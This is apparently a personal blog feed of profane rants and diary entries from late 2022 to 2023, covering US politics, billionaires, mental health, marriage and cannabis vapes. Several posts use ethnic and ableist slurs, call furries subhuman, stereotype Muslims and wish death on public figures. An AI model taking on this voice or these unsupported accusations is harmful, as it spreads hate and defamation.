The public at large will not stand for this insane degree of corruption. We will not have these clearly paid individuals destroying our liberties to satisfy billionaire mega-donor’s whims and fancies. Fuck Clarence Thomas.

Republicans Resort to Gaslighting

Fri, 07 Apr 2023 09:22:00 -0400

Since DA Alvin Bragg has brought out 34 charges that should’ve been addressed years ago, the GOP has gone hard with its campaign to gaslight the country into thinking that white collar crime is somehow less egregious because it’s non-violent. Theft of parked cars is also non-violent, do we let those slide as well?

I honestly can’t fucking believe these morons. Seriously. Is anyone buying this shit? Donald Trump has been indicted. Great. Where do we go from here as a country? We’ve been soiled by billionaires, seemingly almost beyond repair. We have people who made themselves scions of business by employing underpaid and underrepresented workers, exploiting fellow US citizens, then dying and leaving billions in trusts to their kids. Meanwhile this trust is untaxed, and we have people starving in the streets. It’s disgusting. It’s despicable. It’s a Republican utopia.

HASH BASH

Tue, 28 Mar 2023 08:52:42 -0400

Days Reverberating

Mon, 27 Mar 2023 06:41:11 -0400

Is it easier for me to be dismissive if I never expected this to be my career? I honestly thought I’d be stuck in abject poverty. It started that way, anyways. I guess I should re-frame my question.

Many people, especially fairly neurotypical ones, make a plan for the future and make reasonable attempts at sticking with it. Some people go to law school, others become dental hygienists, and a good number of people go into nursing. It seems like a lot of people know what they’ll be doing for the rest of their lives by their mid twenties. At least the high functioning ones, anyways. You’ll always have the dredges who put their car payment before their rent, but I’m not really talking about them. I’m specifically bringing up the people who have a plan. It seems like they have an idea in their head about how every day of their lives will look and they’re seemingly content to put in the time and effort to get themselves there.

Social Justice as Financial Leverage

Sun, 26 Mar 2023 11:23:04 -0400

Before you dig into this stupid rant, make sure you read this report. If you haven’t read it, you won’t understand what the fuck I’m talking about.

The latest slam page written by Hindenburg Research is about Jack Dorsey’s predatory credit and payment companies. It’s a well-written and concise report with testimony from former employees of Block. This report goes above and beyond statements of facts about why a company may go solvent. It actually points to strategic and valid reasons a company should go solvent based on the impact it has on society. Honestly, I see this is an entirely new field of short-selling and I find it fascinating.

Cathie Wood Is a Moron

Sun, 26 Mar 2023 10:59:44 -0400

I read the Hindenburg Research report on Block. A few of the mentioned points regarding Block are blatantly obvious to anyone that has used their services. They’re out to make a buck, and they’re not above doing really shady shit to get all the bucks. Is this unusual? Of course not, it’s standard business practice, and I think that’s really the angle Cathie Wood is coming from to defend Block. She’s a fucking moron and a scumbag. The shit she’s saying is beyond absurd.

Reprieve

Fri, 24 Mar 2023 11:15:35 -0400

It looks like there’s a weird job offer on the table. Not sure how to regard it, but I’ll certainly hear them out to see what compensation would look like. At this point I’ve only been here for seven years because I haven’t had any compelling competing offers thrown at me. I’m not the moron to say something like “I would never betray my employer”. That’s purely idiotic. I’m always open to better offers. Always. It just happens that I got quite a break. Now that it feels like my career has sort of stalled, I think it might be the opportunity I need to further my career in ways I hadn’t anticipated. But, we’ll see. I’m just as skeptical as I am optimistic, perhaps more so. I suppose I’ll meet with a higher up soon, but I’m also going to be direct and honest. We’ll see.

Titular Title

Thu, 23 Mar 2023 10:55:36 -0400

I’m pretty sure I’ve peaked. Everything I was going to accomplish in my life as far as technology and science, I’ve already achieved. When it comes to learning, programming, and electronics- It’s all downhill from here. That’s it, show’s over. I think a huge portion of the reason for this lies in my job. Every job I’ve had prior to this one has demanded nothing of me intellectually. In order to cope with a need for stimulation, I sat down and learned everything I could about computers, electronics, networking. Now that I get this “stimulation” elsewhere, in fact regularly it’s demanded of me, I find myself not seeking those endeavors anymore. I don’t tinker. I haven’t learned anything new or substantial in over a year. My desire for self improvement is all but gone. It’s a crisis of sorts, and I really don’t know where to go from here.

Donald Trump Fucks a Porn Star and Now the GOP Wants to Defund the DA

Wed, 22 Mar 2023 16:39:18 -0400

In a wild turn of events, assholes Jim Jordan, James Comer, and Bryan Steil, are now threatening to defund the Manhattan District Attorney over his handling of the Stormy Daniels bribery case. All because Trump banged Stormy Daniels, paid her to shut the hell up about it, got caught, and became president afterward.

How the fuck are Republicans a thing anymore? They have absolutely no credibility. Honestly, they have a negative credibility balance, it’s time to take out a credibility loan. Just who the fuck are these clowns? Are they fucking serious right now? Do they even care remotely that they look like mafia goons in doing this? That’s what they’ve been reduced to. Seriously. This is asinine.

Unnerved

Mon, 20 Mar 2023 17:59:04 -0400

It’s wild that we’re on the verge of nuclear war. I won’t claim that I care a ton. I suppose an all-out nuclear war would drastically alter (or end) my life, but until the flashes in the sky it’s just a “maybe” at best. We’ve been “on the verge” since laying waste to Hiroshima. As if that’s not stressful enough, you have a racist old man in Florida trying to split the country apart, and succeeding. Can I just say how sad that is, by the way? A fucking moat? To protect someone who throws cash at every threat? Fuck every single one of you awful shitty MAGA losers. You’re fucking morons. Seriously. You’re memes of memes.

Deleterious

Fri, 17 Mar 2023 12:17:29 -0400

I wish I had more capability to write anything outside of “stream of consciousness”. It’s an irritating limitation. I can’t do “deep dives” into anything, really. I can’t be bothered to focus my attention for longer than three minutes on any given subject or task. It’s incredibly deleterious to accomplishing anything, really. Attentiveness feels like torture to my attention-depleted brain. Well, I guess that’s all the time I have to dedicate to that subject. Upward and onward.

Triple Threat

Fri, 03 Mar 2023 07:43:23 -0500

Yeah, you can safely ignore blog post titles now. It’s all running together and meaningless unless otherwise stated. I guess that’s fine. Doesn’t seem to bother me much considering I continue to do it. I’m not one for titles, I guess. I sometimes think I have an idea of what I want to write, but then I actually sit down to write and a bunch of stuff I didn’t expect comes out. It’s not the easiest thing in the world for me to stay on topic, or even on task. Fucking ADHD. Anyways.

Sunday Funday

Sun, 26 Feb 2023 09:36:29 -0500

I fucking love weekends. I never work them, and I typically need the two days of rest in order to recuperate from the insanity of the work week. It’s not just insane during work, but I have kids. They have stuff they do after school. It’s tough to be a parent these days. Back in the 90’s kids didn’t do shit. We were kicked out the front door and told to be home in time for dinner and that was pretty much it. No sports, no dancing or music, just boot us and that’s it. 90’s parents had a pretty sweet setup. Seems like they bitched a lot, though, when they comparatively had it much easier.

Bzzzzz

Mon, 20 Feb 2023 08:49:10 -0500

I restarted an anxiety medication and I always feel a weird buzz in my brain for the first half hour after it kicks in. I’m not fond of the feeling it produces, but it seems to help quite a bit after the initial buzzing wears off. Has anyone else experienced that with Buspar, I wonder? I’m sure they have. I highly doubt I’m the only person prescribed it that would feel at least some side effect. Seems like we’re a society of side effects these days. Side effects from chemicals released into the environment from manufacture, side effects from prescriptions, and side effects from poor life choices. We’re a veritable cornucopia of aberration. Most of us, anyways. There are a few of us who are actively trying to dodge the pitfalls of an industrial society, but not many. Certainly not enough to count for much.

Duly Noted

Fri, 17 Feb 2023 09:30:50 -0500

I was going to start banging out a contentious stream of my usual gripes, but I don’t think I’m going to do that today. Instead, I’m going to write about things that I’m excited for and incredibly happy about.

I’m getting married at the end of April to a wonderful woman that checks all my boxes as well as boxes I didn’t know I had to check. She’s the best. As unyielding and unforgiving as the world can be, it’s the relationship we’ve built that I can retreat to. She is my soulmate, and I love her more than anything.

Data Privacy Matters

Thu, 16 Feb 2023 07:08:39 -0500

On the offhand chance you haven’t seen the latest egregious moral assault on freedom by Republicans, they’re grabbing attempting to power-grab at the private medical data of women in Virginia in order to force births upon women. This should chill you to the bone, and if it doesn’t, you honestly are the problem with humanity. The amount of disgust I feel right now is immense. Especially with these self-righteous twatbags constantly crying about the constitution as if they were even remotely aware of its contents. This is my line in the sand. This is where I’ll viciously correct you publicly and do the best I can to humiliate you into reason. This shall not stand, and I vehemently oppose it. The GOP has absolutely gutted women’s healthcare and they’re not stopping, they’re going to continue pushing until we’re actually living out The Handmaid’s Tale as if it were an instruction guide rather than a terrifying work of fiction. This is real, folks. This is happening right now. Stop using TikTok. Drop Google. Drop Microsoft. Drop every company that treats your data like shit, because they’re giving it to the government and the government is clearly not your friend. The government has never been your friend, and it never will be, even if your “chosen candidates” are in office. As citizens, it’s our civic duty to play corporations and the government against each other. It is our patriotic duty to ensure that corporations never have too much power, and the government never has too much power. We’re somehow failing horribly on both fronts, and it’s time we corrected that. We need to wrest our country from the hands of those who would destroy it with accretion of power. We still do have power. The GOP is making power plays, and the democrats are pathetically helpless. Vote democrat. Vote straight blue ticket. Once we have another federal precedent to protect abortion access, then you can vote Libertarian or Republican or Independent. Once things are fixed you should vote all over the place. Don’t support a single party like a cult, even if you consider yourself a democrat. Don’t do it, because you’ll regret it. The party likely is just a “this one currently fits best” type deal, I guarantee you don’t support everything they do. That said; divest. It is not in your interest to mindlessly follow anyone. Always follow your rationale, never follow the lies of the former lawyer force-feeding you bullshit, regardless of whether he’s in the party you’re registered to vote for.

Freedom

Tue, 14 Feb 2023 09:32:38 -0500

My last relationship was simultaneously the worst thing as well as most transformative to ever happen to me. I didn’t come out cleanly on the other side, but I absolutely came out a stronger and more aware person. I can safely say that in the eight years in which it lasted, the only honest statement she ever put forward was that she was diagnosed with borderline personality disorder twice, once as a teenager and once as an adult.

Anxiety

Wed, 08 Feb 2023 10:31:01 -0500

Anxiety is a dual-edge sword. On one hand it’s an incredibly useful tool to keep yourself out of dangerous situations. Being somewhere you really don’t need to be that could potentially lead to bad situations or harm should cause you anxiety. It’s the same sort of notion behind our ability to detect heat. It keeps our hands out of open flames. So too anxiety serves a purpose. Of course, this is just me justifying that I feel it in copious amounts. Somehow telling myself that it’s not a bad thing, it’s just a bad thing in excess, which is a problem I’ve been plagued with all my life.

The Ashes of Rome Are on Fire

Mon, 06 Feb 2023 07:10:41 -0500

It’s wild to me that a thirteen year old girl got knocked up two thousand years ago and the lie she told carries repercussions even today. Thanks to that little shithead we have morons screaming about homosexuality like it affects them personally. It’s absurd that in this day and age there’s still a culture war raging. The self-righteous side would gate-keep marriage from all but heterosexuals and diminish the voice of the gay community to but a whimper, should they win this war. The reality is that homosexuality predates religion, and certainly all current religions by a long shot. They know this. It’s in their bibles. But we aren’t describing a well-rounded or educated group, we’re describing fundamentalist sycophants eternally sucking up to their mute space ghost. A good number of these lunatics are convinced that Satan buried dinosaur bones to “confuse” humanity. They adhere vehemently to the “six thousand years” historical model, implying that space as we know it didn’t exist longer than six millennia.

Adani Tumbling

Mon, 06 Feb 2023 06:49:36 -0500

I don’t know if you’ve been living under a rock or not for the last week or so. On the slight chance that may be the case, allow me to tell you that India’s wealthiest man is turning out to be just as much “call center scammer” as India’s poorest men. Pajeet done goofed. It’s a wild story to watch unfold, especially as this “Hindenburg Research” has viscerally ripped Adani a new asshole with an intense and damning report ranging from clear nepotism to blatant fraud. It’s a thing of glory, and I think HSBC and Goldman Sachs are reeling because these sorts of financial attacks could come for them next. Me, personally, I enjoy the bloodbath. I hope Hindenberg Research turns a pretty profit from shorting Adani companies. I hope the trend continues and the world of finance is rocked by these new types of hedge funds. They’re not necessarily new, per se, but this very public sort of attack is fairly new. Normally it’s some crackpot holding a sign that reads “The End is Near” and not a team of financial experts and researchers compiling a comprehensive dossier to release into the wild and wreak havoc.

Mastodon Is Run by Furries

Fri, 03 Feb 2023 13:02:49 -0500

You’ll be pressed to find a more degenerate group than “The Furry Fandom”. The degeneracy is storied. They’ve been kicked out of so many convention centers for incredibly stupid yet valid reasons. One notable account of furries being absolute degenerates involves a group of them jerking off into a bong and then using it. Disgusting. Then, another instance of furries that lead to them being banned from a hotel convention center revolved around a pizza involved in a similar bukkake situation that was subsequently left in the hotel hallway for staff and other customers to witness. Vomit. That, combined with the diaper fetish crossover, has ultimately narrowed how many locations furry conventions can be hosted at. They really are subhumans, in all honesty, and it makes me wonder why. I don’t want to blame autism, because I think people with autism would have more decency and self respect than these degenerates, though admittedly I’m pretty sure many furries either identify as or were diagnosed autistic. Furries do autism an enormous disservice.

Gangstalking

Sun, 29 Jan 2023 08:36:01 -0500

First and foremost; If you’re here because you searched for “Gangstalking” and believe you’re being “gangstalked”, I encourage you to seek emergency mental help. Do it for yourself. Do it for your family. Get help, you’re not well.

It’s been a long time since I’ve read about gangstalking. It’s essentially the belief that an individual is being targeted by a covert campaign of spying and harassment for no apparent reason. If that’s not ridiculous enough, these people have entire communities they’ve put together where they do virtual dick-measuring about how targeted they are. It’s like a schizophrenic wankfest where they all show each other how crazy they are and, rather than come together to discern that they are in fact just insane, actually end up convincing each other that they’re even more targeted than they previously believed.

Happy Anniversary

Sat, 28 Jan 2023 15:34:32 -0500

Happy Anniversary to my lovely soon-to-be-wife. I love you so much. You’re my favorite, my everything, my love. I’m lucky to have you, and I’m glad I get to be with you.

Tired

Thu, 26 Jan 2023 22:47:47 -0500

It feels like I’m criss-crossing the map these days. The travel is never ending. It’s eternal, it seems. I can’t avoid a minimum of an hour travel, and in most cases it seems like two and a half to four and a half are my ranges. It’s kind of annoying, if I’m being honest. It throws a wrench in my ability to exist in my life comfortably, because everything just stops due to my not being present in my own life.

What Does 2023 Bring?

Wed, 25 Jan 2023 16:30:21 -0500

I got barely three sentences into this post before I started to really loathe it. I didn’t just hate it, I wanted to take a flamethrower to those three sentences and turn them to ash. I wanted to remove the words involved from the dictionary. I wanted to expunge those three sentences from the entirety of human consciousness.

I’m simply not that powerful, and I suppose I’m being hyperbolic again. But it’s a good point. Take the point, at least. I began rewriting this post because the direction it originally began to head was so outside the tracks that it was basically Thomas the Train off-roading.

Friends Forever

Sat, 21 Jan 2023 21:22:19 -0500

Man, it seems like Friends can play for fucking ever. Was it really renewed for like sixty seasons? Because it feels like it, jesus. I mean, it’s not the worst show in the world, but I don’t get how people can seemingly watch it perpetually. All of the story arcs are pretty straightforward and once you’ve gone through it like twice it’s about as fresh as stale bread.

I can’t believe you can buy two ounces of reasonable weed for $90 these days. When I was a kid, a goddamn ounce was expensive as shit. I need to watch some reviews of the Magic Flight Launch Box. It’s really fuckin cheap, and it’s been around forever. Not only that, but it seems incredibly simple, and the simpler a device is the longer it typically lasts. Especially if you’re able to modify it yourself. Something as simple as the Magic Flight Launch Box is probably highly modifiable. I really should watch some review videos to see if it’s worthwhile. One thing I can say for sure is that the Pax 3 is a piece of crap. It was never good, and right now it literally doesn’t produce vapor despite being fully charged. It makes me sad. It wasn’t cheap. My OG Jams is a far superior device and it’s cheaper than the Pax 3. I don’t know why, but it seems like I’m always on the lookout for a new vape. I really do enjoy the ritual of it.

Idklol

Sat, 21 Jan 2023 10:55:50 -0500

I really can’t stand the state of Indiana. I just hate everything about it. I hate the people. I hate the laws. I hate the things hoosiers love. I hate the fact that Indiana has a personal vendetta against people who enjoy cold beer or literally any other alcohol. Hell, weed is still very much illegal in Indiana, and I’m sure a lot of the reason for this stems from the fact that Indiana’s miserable ass is still churning and burning fentanyl deaths like it’s going out of style. It’s not an epidemic out there, it’s a fucking way of life. I guess I can understand it, though. I’d probably kill myself with fentanyl if I were permanently physically trapped in such a miserably shitty state.

Bank of America Drops the Ball

Thu, 19 Jan 2023 09:20:45 -0500

Bank of America is apparently experiencing issues and people are reporting thousands of dollars missing from their accounts, while customer service lines are inundated with calls and are totally unreachable. I’m sure there are theories out there ranging from this being a natural result of the Gamestop shorts to potentially being hacked by Russia or China. Right now we have very little data to go on other than “Bank of America done messed up real bad”. Now, I’m not one to advocate for a run on banks, especially considering that advocating such things may be highly illegal. But what I can tell you is that there is no good reason to leave your money with this clearly inept company. If you believe their security will improve as a result of this event, you’re a fucking moron. Period. Statistically, having opened this can of worms already means Bank of America will do this again. It’s 100% guaranteed to happen again to everyone who remains a customer. Get out. Get the fuck out. Run as fast as you can, this level of incompetence is not something you want to be involved in, let alone when your livelihood is at stake.

Grandeur

Wed, 18 Jan 2023 21:33:25 -0500

It’s amusing to me, the folly of man. His machinations manifest his nightmares. Everything is corruptible. Everything is wrong.

Demystifying THC-O

Tue, 17 Jan 2023 09:33:18 -0500

Introduction

I feel like this blog post is a little important, given how much incorrect information is currently being carried by even “trusted” sources like Leafly. I’ve seen Leafly perpetuate information such as “It’s three to five times more potent than Delta-9 THC” or “Your tolerance for THC-O is not impacted by your tolerance for Delta-9”. Neither of these statements are true, however. But they’re happily spread across the internet in even “respected” weed journalism outlets. That said, I’ve had a few months to interact with this new cannabinoid, and I figured I’d outline some of my own personal discoveries regarding this clearly misunderstood chemical.

James Rayl Saga: Continued

Sun, 15 Jan 2023 15:25:37 -0500

Apparently friends of James Rayl have some news to share. I cannot possibly fathom what news could be coming down regarding an already settled and clear-cut self defense case such as this. James Rayl has already been exposed as a threat. It’s already well documented that his ex’s father was merely responding to the threat he presented. There’s nothing more to this case, and the man is dead. Give it up already, Jesus fucking Christ. What more could possibly be said? He was mentally ill and obsessed, tried breaking into a private residence where he wasn’t welcome, breaking a court order restraining him from the property and people in question, where he was subsequently shot to death while attempting to break in as caught on video. It doesn’t get any clearer than that, and Rayl got what he deserved. Fuck off with your feelings that don’t matter, your son/brother/whatever he was to you is dead because he was a mentally ill and deeply disturbed loser. 100% deserved what came to him. Just drop it. Jesus.

No Neck Ed

Sun, 15 Jan 2023 14:51:57 -0500

Man, we’ve been watching a ton of 90 Day Fiance, and I have to say; Ed Brown, the guy that’s three and a half feet tall and fat without a neck, is a toxic piece of trash that has borderline personality disorder. It’s insane to see this short little turd of a person try and gaslight everyone who responds negatively to his toxic behavior. It’s insane. It’s not even enough for him to keep his toxicity in his own relationship with Liz, this little shit interjects in the stories of all the other couples with his toxic bullshit. It’s insane. I’m 100% certain the producers of the show know Ed Brown has borderline personality disorder, and that’s why they try to keep him in play as much as they do. Those borderlines stir shit like a Kitchenaid. No-neck Ed is no exception to this rule, and he stirs shit like no other.

Journalism Sucks Now

Wed, 11 Jan 2023 17:38:01 -0500

I don’t know what it is, really. It’s true, though. No matter how you lean politically, or what you believe in, your education background- It’s universally true without regard to the audience in question. Journalism right now is the worst it’s ever been, objectively. It’s just absurd these days how far everyone leans politically, how everyone demands they have a voice that’s heard, and how absolutely goddamn stuck up everyone is. There are no risk takers anymore. No one dare question the status quo. Everyone just kowtows to the drum beat of their preferred drummer, but relentlessly and blindly following regardless. No one is original anymore. No one has a fucking original thought in their goddamn minds. It’s just absolutely absurd.

Arbeit

Tue, 10 Jan 2023 11:38:15 -0500

Lotto is at $1.1 billion again. Specifically, the “Mega Millions”. Here’s to hoping, eh? I’d love to retire right now. I’d love to travel the world and be care free. I’d love to set up trust funds for my kids to ensure they’re always taken care of. We’ll see.

Rambling Man

Mon, 09 Jan 2023 21:44:52 -0500

Man, I’ve been on a bender with reality TV lately. It’s really weird. I noticed that time doesn’t fly the same while watching reality TV as it does if I were to sit around on No Man’s Sky with the Steam Deck. It’s weird. I think it’s because I’m only partially engaged with it. I’m half into it and half into whatever the hell is on my phone, typically, or maybe my laptop.

Aeternus

Sun, 08 Jan 2023 14:16:14 -0500

I’ve spent nearly forty years of existence living “in the moment” with little to no regard for the future. There are things that are inescapable, such as planning for retirement, working hard, making decisions that ensure that myself and my family are secure for the foreseeable future.

I’m not sure it was a lack of impression on me by the people who reared me. I can’t say if perhaps it’s ADHD related, either. I’ve also suspected major depression might also be involved. It’s likely that my anemic ability to imagine my future or plan or structure things around it stems from a combination of all of those things. I’ve made some strides in this, though. Small ones, but they’ve been made.

Kevin McCarthy Should Give It Up

Sat, 07 Jan 2023 13:35:34 -0500

We’re on the fourteenth vote now for speaker of the house, and Kevin McCarthy is a flea’s ass away from winning, but the opponents to his assuming the leadership role are staunchly opposed to him ascending to speaker of the house. They’re opposed for distinct reasons. Particularly because McCarthy is a centrist establishment Republican who vows to remove the extreme right jackasses from councils they’re currently sitting on. These extreme right morons include Boebert, Gaetz, Biggs, Bishop, and a handful of others I’ve never heard of.

Happy New Year

Sun, 01 Jan 2023 18:31:01 -0500

Happy fuckin’ new year. Man, hopefully things get better. How about that fusion progress, eh? I mean, we’re still fucking forever out from practical fusion, but progress is progress, don’t you think?

We’re watching this Amish reality TV shit, and it’s insane to me how these people exist on the fringes. I can’t imagine the Amish way of life lasting much longer, because it’s just absolutely asinine. Man, I can see why the Amish make entertaining viewing. Their culture at it’s very core is oen of being balls-deep in your neighbor’s business. Combine that with the fact that some of these goons aren’t remaining Amish, and some are, and you have a really snoopy gaggle of morons slap-fighting and screaming every ten minutes. It’s like Jerry Springer meets Rumspringa. I don’t even know what to say half the time, except to excuse away their behavior with the eighth grade education they’ve all had. It’s just goddamn nuts.

Mordechai Vanunu Deserves a Nobel Peace Prize

Fri, 30 Dec 2022 17:16:29 -0500

In case you’ve never heard the name before, Mordechai Vanunu is a hero. He revealed the existence of the Israeli Nuclear Weapons Program to the British press in 1986. The fascist Mossad has kidnapped him before. This motherfucker is a real one, and he’s been pursued the world over by the Israeli government.

In case you weren’t aware, Israel still denies having a nuclear program.

So now you know about a badass who is still being actively persecuted to this day. Support him. He’s still alive. Spread his message of peace, say his name to everyone.

Pax Is Lame

Wed, 28 Dec 2022 12:30:59 -0500

I bought a Pax 3 some time ago, and by far it has been the worst performer that I’ve owned to date. So I figured I’d ping the company who makes it and let them weigh in on why this device is such an awful performer. But before I reached out to the Pax Support Team, I did go through all their support materials on the matter to try their recommended methods for getting decent performance out of this device.

The Nightmare Wanes

Mon, 26 Dec 2022 11:12:39 -0500

Christmas is over, thank fuck. Seems like it went off without a hitch. At least, no crazy drama or anything. In Christmas terms, this is a distinct win. Nearly every Christmas seems tinged with some alcohol-fueled altercation or spat, people are ceaselessly saying something they regret or, perhaps, things they regret not having said earlier. It’s normally insanity, whereas insanity is not always the norm.

Well, I fucking love the Nuphy Air75 keyboard. I think I have a keyboard problem. I keep buying keyboards, and I don’t need as many as I have, and they’re all awesome in distinct ways. Keyboards are a problem for me. I think it’s because I spend so much time at one, between work and my personal life. I guess that makes sense. My work keyboard might be my most favorite, followed by the Nuphy,

Merry Christmas

Sun, 25 Dec 2022 08:40:07 -0500

It’s Christmas, it’s 8:00 AM, and I’m sitting here at my computer. I’m thinking about grabbing my spare Monster. My woman went to work at some ungodly hour this morning, and I really don’t sleep well when her butt isn’t pushed up against me. Any time I wake up, so long as she’s in bed with me, I just pull her close and I can fall right back to sleep. If not, I end up rolling around fifty times before I’m able to finally collapse again.

Euphemisms

Fri, 23 Dec 2022 17:17:20 -0500

Don’t get too excited, the title is just a word. It has nothing to do with the contents of this post whatsoever. I’m sitting here, not at home, but still quite comfortable in my mobile safe zone. I have a bag that I stuff all my earthly possessions into for traveling, and so I’m traveling with my loved ones a little for the holidays. Look at me, being intentionally vague for operational security. Ha.

Why I Will Never Buy Another Samsung Phone

Tue, 20 Dec 2022 13:50:17 -0500

I’ll preface this with the fact that I’ve tasted superior product. I spent years as a Pixel user, and I know what a good phone feels like. That said, my current handheld device happens to be the Samsung Galaxy S20 Ultra. It’s also the phone that has me feeling desperate to run back to Pixel. What follows will be a rant about why my phone makes me hate Samsung and what Samsung can do about it.

Black Adam Piss Take

Sun, 18 Dec 2022 18:56:05 -0500

Just finished watching “Black Adam” for the first time, and I figured I’d dole out a blurb or two about it while it’s still fresh in my brain. First and foremost, can I say how hilarious it is that the movie totally missed the radar of the sensitivity squad? Black Adam is literally Superman if Superman weren’t a whiny little pussy, and actually killed people en masse, and also was middle eastern. Yes, Black Adam is “ISIS Superman”. The only thing he doesn’t do is scream “Allahu Akbar” as he explodes electrically eviscerating hundreds of people in an enclosed space. I mean, Warner should really consider adding that to “Black Adam 2” when it comes out. Maybe he should wear a turban at some point. Have him stop to pray mid-battle. I mean, the dude is five thousand years old and from the cradle of civilization. No? Yeah? Maybe I’m way off base, here, but goddamn.

This Is a Subject

Sun, 18 Dec 2022 16:38:45 -0500

I’m not really planning on coordinating my thoughts on this damn thing. It’s really just a fucking outcropping of LiveJournal, if we’re being honest. I don’t post technical crap anymore. I don’t really do anything except be an emo douche, but it’s therapeutic so suck my ass. If you don’t like it, you really don’t have to read it. If you do like it, I have to question who you are as a person. Do you enjoy watching me writhe, or are you just appreciative of my strange opinion? Maybe you can be both or neither, I don’t know. I’m feeling philosophical and I can’t stop it. I wish I could, but here we are. Me, writing, not stopping it. Though a well placed cat on the chest is a very good inhibitor, though by no means enough to suppress my writing entirely. I can type quite well without having to look at the keyboard, and it barely slows me down.

Rome Is Burning

Sat, 17 Dec 2022 12:15:07 -0500

I think we already know this, but Rome is Burning. Mad props to Tiffany Cross, this segment is as funny as it is informative, but it highlights a rather serious problem that we’re currently watching expose itself in realtime. That problem is just how reliant the Justice System is on cronyism. It’s really unfortunate that American Freedoms exist only for those who can afford them. The bar for entry is intended to be US citizenship, but that simply isn’t so. If you’re an impoverished American, you might as well be Guatemalan or Chinese. The benefits of being American are not extended to you. You’re “on the outs” with what we know as “the American ideal”.

Elon Musk Is a Retard and Twitter is Still Trash

Thu, 15 Dec 2022 19:24:17 -0500

I’ve been suspended from Twitter like thirteen or more times, mostly because I’m an asshole. I get it, I’m not compatible with your little pussy ass bitch ass bullshit safe zone. I get it. I really do. But it’s funny, because Elon Musk thinks he’s the free speech absolutist who can save civil discourse, when in reality he’s just as much a pussy ass bitch as the people who he fired. Fuck you, Elon Musk, you low-testosterone bald ass pussy bitch. Fuck you right in your autistic face. Fuck you to the n-th degree. Fuck right the fuck off. I hope your children are sterile and your bloodline severed forever. You’re weak, your family is weak, and if it weren’t for the monetary system your entire bloodline would’ve died off before it ever got to you.

Christmas Can Eat a Dick

Thu, 15 Dec 2022 10:06:06 -0500

First and foremost- Christmas is for children. The mascot is a white-haired fat man that looks like 90% of grandfathers, and he’s fucking magic and stupid and flies around the world making the children of wealthy families happy and occasionally throwing a bone to poor kids, but not as often as he should. Mostly the poor kids get fucked and hate Christmas along with me. It’s whatever.

That said, fuck Christmas. Simply having this single day where people are expected to not be cunts seems to be justification enough for some people to not be cunts once a year.

Viktor Bout Must Be Russian Foreign Intelligence Service

Thu, 08 Dec 2022 14:49:22 -0500

It’s insane to me that we gave Putin one of his trash-ass lackeys in exchange for Brittney Griner, whose only crime was entering the fascist nation of Russia. It almost seems to me as though the exchange was explicitly designed to piss off Americans. It certainly has me riled up. I’d like to see Ukrainian forces overtake Moscow at this point, and hang that blustering asshole from the gallows.

I heard we wanted some CIA jackass back. Yeah, fuck that guy. He’s basically just as bad as Bout, I’m sure, if he’s an actual CIA agent. When has the CIA ever done anything for Americans? They’re literally so retarded, all they really ever do is fuck us. Something happens, the CIA reacts, and we get fucking 9/11’d. There’s a crisis in some third world country, the CIA pulls a bay of pigs, and we have a full-scale nuclear emergency on our hands. It’s just fucking moronic. I don’t want the CIA asshole back, fuck him, he can rot in a Russian prison for all I care.

Yeah, That Ain't Happening

Wed, 07 Dec 2022 18:59:59 -0500

So the “Daily Blast” idea I had, yeah… That’s not gonna happen. I don’t have the gusto for that sort of thing, not even sporadically. So that’s out. Well, at least I got one banged out. It’s probably going to be the last one until next year at a minimum.

Everyone see the results of the Georgia runoff? Yeah, me too. But seriously, fuck Herschel Walker. He’s a fucking hypocrite piece of shit, which is pretty much par for the course for the GOP. Why is it that the GOP is full of people who want to eliminate same sex marriage but are consistently caught having homosexual extra-marital affairs.

John McAfee Killed Himself to Avoid Rape Charges

Sat, 03 Dec 2022 10:52:02 -0500

I know all you retarded crypto-bros out there want to pretend like there are sweeping conspiracies involving lunatics like John McAfee and Jeffrey Epstein. First and foremost, let me say that Jeffrey Epstein is not a subject I’ll weigh in on for this post. It’s far outside the scope of this post and involves more money and compromising situations than John McAfee, and it’s ultimately a far different story. Yes, Epstein was insane, but a different type of insanity than McAfee. It seems like John really wanted to be relevant after he had long jumped the shark, so grew from this void in his soul the pirate John who does mountains of blow and marries prostitutes.

Maxine Waters, WTF?

Fri, 02 Dec 2022 21:50:29 -0500

.@SBF_FTX, we appreciate that you've been candid in your discussions about what happened at #FTX. Your willingness to talk to the public will help the company's customers, investors, and others. To that end, we would welcome your participation in our hearing on the 13th.
— Maxine Waters (@RepMaxineWaters) December 2, 2022

Woah, excuse me? What the ever-living fucking goddamned excuse me, what? Maxine Waters clearly must’ve received at least ten million from Sam Bankman-Fried given the above tweet. She absolutely must’ve been on the payroll to be so absurdly coy with him right now. This motherfucker perpetrated what stands to be the biggest fraud in crypto EVER, and here we have Maxine Waters blowing him kisses across the pond.

New Idea

Thu, 01 Dec 2022 11:19:41 -0500

I’ve been blogging for a while, but as you can already tell, I’ve been just sort of haphazard expelling the contents of my brain pan onto the keybaord. It’s messy sometimes. I’m thinking about trying to A) commit to writing posts daily pertaining to current events or things in my mind that day that I might feel passionately about. I’d also like to B) try and keep the content somewhat pertinent to more individuals than just myself.

Daily Blast 1

Wed, 30 Nov 2022 19:53:17 -0500

The shit we’re seeing happen right now is utterly wild. Mass “White Paper Protests” are sweeping through China in response to Xi’s “Zero COVID” lockdown policy. I started following a Chinese dissident on Mastodon and I’ve been tracking protest information through that account. It’s quite wild. It makes me wonder if this is the start of the end of Xi, or if he’s going to pull another Tiananmen Square. More innocent civilian bloodshed just because an old man clings to power, knowing he would be assassinated if he ever faltered. A totalitarian dictator deserving of the bullet of an assassin, Xi is not an elected official. He’s a dictator.

I Have No Masters

Tue, 22 Nov 2022 11:38:26 -0500

First and foremost, fuck corporations. Fuck FAANG. Fuck billionaires, including Bezos and Musk. Fuck everyone who worships billionaires and corporations, too. You’re all subhuman bootlickers, with few to no exceptions. Pundits like Charlie Kirk and Brett Cooper are also subhuman trash, because they’re trying to “reign in” on free voices like mine, to drown us out and prevent us from letting you know that you too can be free. Fuck those animals. They’re garbage.

I've Taken Shits Less Offensive Than Donald Trump

Mon, 21 Nov 2022 13:23:10 -0500

